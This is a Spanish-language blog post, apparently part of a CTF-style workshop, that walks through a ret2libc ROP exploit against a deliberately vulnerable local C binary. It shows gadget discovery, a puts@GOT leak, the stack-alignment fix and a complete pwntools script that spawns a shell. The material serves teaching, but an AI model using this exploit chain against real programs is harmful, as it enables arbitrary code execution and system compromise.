Si echáis un vistazo al artículo anterior, iniciábamos un taller de ROP con un programa que era un pequeño código en C con una función vulnerable muy sencilla pero, que sin embargo, al analizarlo con herramientas como ROPgadget, nos damos cuenta de que no hay gadgets directos de pop rdi; ret en el binario, ni tampoco podemos usar los CSUs (__libc_csu_init) para preparar llamadas a funciones. Esto hace que la explotación directa de system("/bin/sh") no sea tan trivial. Así que para ir paso a paso y practicar primero el típico ret2libc clásico (leak puts → calcular libc_base → system("/bin/sh")) vamos a añadir un pequeño stub y recompilar:
void pop_rdi_gadget() {
__asm__("pop %rdi; ret");
}
void secret() {
printf("Has llegado a secret(): control total del flujo.\n");
system("/bin/true");
}
Compilamos igual:
gcc vuln.c -o vuln -fno-stack-protector -no-pie -z execstack
A continuación con objdump / ROPgadget debemos encontrar el gadget pop rdi; ret dentro del binario.
$ ROPgadget --binary ./vuln | egrep "pop rdi ; ret|pop rdi; ret" --color=never || true
0x00000000004011b9 : cli ; push rbp ; mov rbp, rsp ; pop rdi ; ret
0x00000000004011b6 : endbr64 ; push rbp ; mov rbp, rsp ; pop rdi ; ret
0x00000000004011bc : mov ebp, esp ; pop rdi ; ret
0x00000000004011bb : mov rbp, rsp ; pop rdi ; ret
0x00000000004011be : pop rdi ; ret
0x00000000004011ba : push rbp ; mov rbp, rsp ; pop rdi ; ret
Lo tenemos, vamos a construir nuestra primera cadena ROP con el simple objetivo de: - Filtrar el puts@GOT para obtener la dirección de puts en libc.
- Calcular la base de libc usando la offset conocida de puts.
- Construir un ret2libc para ejecutar system("/bin/sh").
Para filtrar la dirección de puts usamos un ROP básico:
payload1 = flat(
b"A"*offset, # overflow hasta RIP
p64(pop_rdi), # gadget para pasar argumento
p64(puts_got), # dirección a imprimir
p64(puts_plt), # llamar a puts
p64(main) # volver a main para un segundo stage
)
Esto nos permite leakear la dirección de puts y calcular la base de libc. Sin embargo, al construir el payload para ejecutar system("/bin/sh"), nos encontramos con que la shell es inestable. Esto se debe a dos problemas típicos en x86_64: - Alineamiento de pila: la ABI de System V exige que RSP esté alineado a 16 bytes justo antes de llamar a cualquier función que use call. Si el RSP está desalineado, system podía fallar o generar comportamiento inesperado.
- Retorno inválido tras system: si no ponemos una dirección válida después de system, cuando este termina intenta ret a una dirección "basura", causando SIGSEGV.
La solución fue insertar un gadget ret antes de pop rdi para alinear la pila, y hacer que system retorne a main en lugar de a basura. Así que un segundo "pseudocódigo" sería:
payload2 = flat(
b"A"*offset,
p64(ret_gadget), # alinea la pila
p64(pop_rdi),
p64(binsh), # "/bin/sh"
p64(system), # llamada a system
p64(main) # retorno seguro
)
Con esto, ya tendríamos la shell en teoría estable. Os muestro a continuación el script completo:
#!/usr/bin/env python3
from pwn import *
import time, sys, re
BIN = './vuln'; LIBC = '/lib/x86_64-linux-gnu/libc.so.6'
context.update(arch='amd64', os='linux')
exe = ELF(BIN); libc = ELF(LIBC)
p = process(BIN)
offset = 72
# help: find gadgets
rop = ROP(exe)
try:
pop_rdi = rop.find_gadget(['pop rdi','ret'])[0]
except Exception:
pop_rdi = 0x4011be
# find a simple ret gadget (use ROPgadget or search here)
ret_gadget = None
for g in rop.gadgets:
if rop.gadgets[g].insns == ['ret']:
ret_gadget = g
break
# fallback: specify manually if None
if not ret_gadget:
# put an address from ROPgadget output if you found one
ret_gadget = 0x40101a # <- ajustar si no existe
print("[*] pop_rdi", hex(pop_rdi), "ret_gadget", hex(ret_gadget))
# leak stage
puts_plt = exe.plt['puts']; puts_got = exe.got['puts']; main = exe.symbols.get('main', exe.entry)
payload1 = flat(b"A"*offset, p64(pop_rdi), p64(puts_got), p64(puts_plt), p64(main))
p.sendlineafter(b"Dame tu nombre: ", payload1)
time.sleep(0.05)
data = p.recv(timeout=1)
print("[*] stage1 raw:", data)
# parse leak
leak = None
for l in data.split(b"\n"):
l = l.strip()
if not l or l.startswith(b"Hola") or b"Dame tu nombre" in l: continue
if 1 <= len(l) <= 8: leak = u64(l.ljust(8,b'\x00')); break
if not leak:
print("[!] no leak"); sys.exit(1)
print("[+] leaked puts", hex(leak))
libc_base = leak - libc.symbols['puts']
system = libc_base + libc.symbols['system']; binsh = libc_base + next(libc.search(b"/bin/sh"))
print("[*] system", hex(system), "binsh", hex(binsh))
# stage2: insert a 'ret' to fix alignment, then pop rdi/binsh/system, then return main
payload2 = flat(
b"A"*offset,
p64(ret_gadget), # fix alignment
p64(pop_rdi),
p64(binsh),
p64(system),
p64(main)
)
print("[*] sending stage2")
p.sendline(payload2)
time.sleep(0.05)
# test shell
try:
p.sendline(b"echo READY; id")
time.sleep(0.1)
out = p.recv(timeout=1)
print("[*] after stage2 recv:", out)
if b"READY" in out or b"uid=" in out:
print("[+] shell alive")
p.interactive()
else:
print("[!] no READY or uid in response")
print(out)
p.close()
except Exception as e:
print("[!] exception:", e)
print("remaining:", p.recvall(timeout=1))
sys.exit(1)
El exploit final funciona de manera confiable: Como veis, esto lo hemos hecho para practicar un rop baby/ret2libc (parecido al que probó ka0rz)... pero en un CTF normalmente no podrás recompilar el código fuente y tendrás que enfrentarte al binario en remoto. En ese caso tendríamos que explorar otras alternativas:
- Buscar CSUs manualmente — lo intenté y no salieron pero quizás podría hacerse un escaneo más amplio del disasm completo y buscar gadgets menos obvios (objdump -d -M intel ./vuln | sed -n '1,400p')
- ret2dl_resolve — técnica que invoca el dynamic loader para resolver system en tiempo de ejecución construyendo estructuras falsas en la pila. Funciona sin pop rdi si eres creativo, pero es más complejo de montar y frágil.
- Overwriting GOT → Abuse de printf — idea interesante: si consiguimos sobrescribir printf@GOT con dirección de system, entonces la siguiente printf("Hola %s\n", name) ejecutaría system(name) usando el name que controlas (¡shell!). Para eso necesitamos una primitiva de escritura (ej. llamada a gets(printf_got)) — pero para llamar gets(puts_got) necesitamos igualmente un gadget para fijar RDI. Así, volvemos al problema de no tener pop rdi.
- Buscar gadget en libc (y hacer leak por otro vector) — necesitamos un primer leak sin pop rdi: imposible con lo que tenemos.
¿Interesado en seguir explorando más técnicas? Comenta y vemos si seguimos perdiendo pelo juntos ;)

Comentarios
Publicar un comentario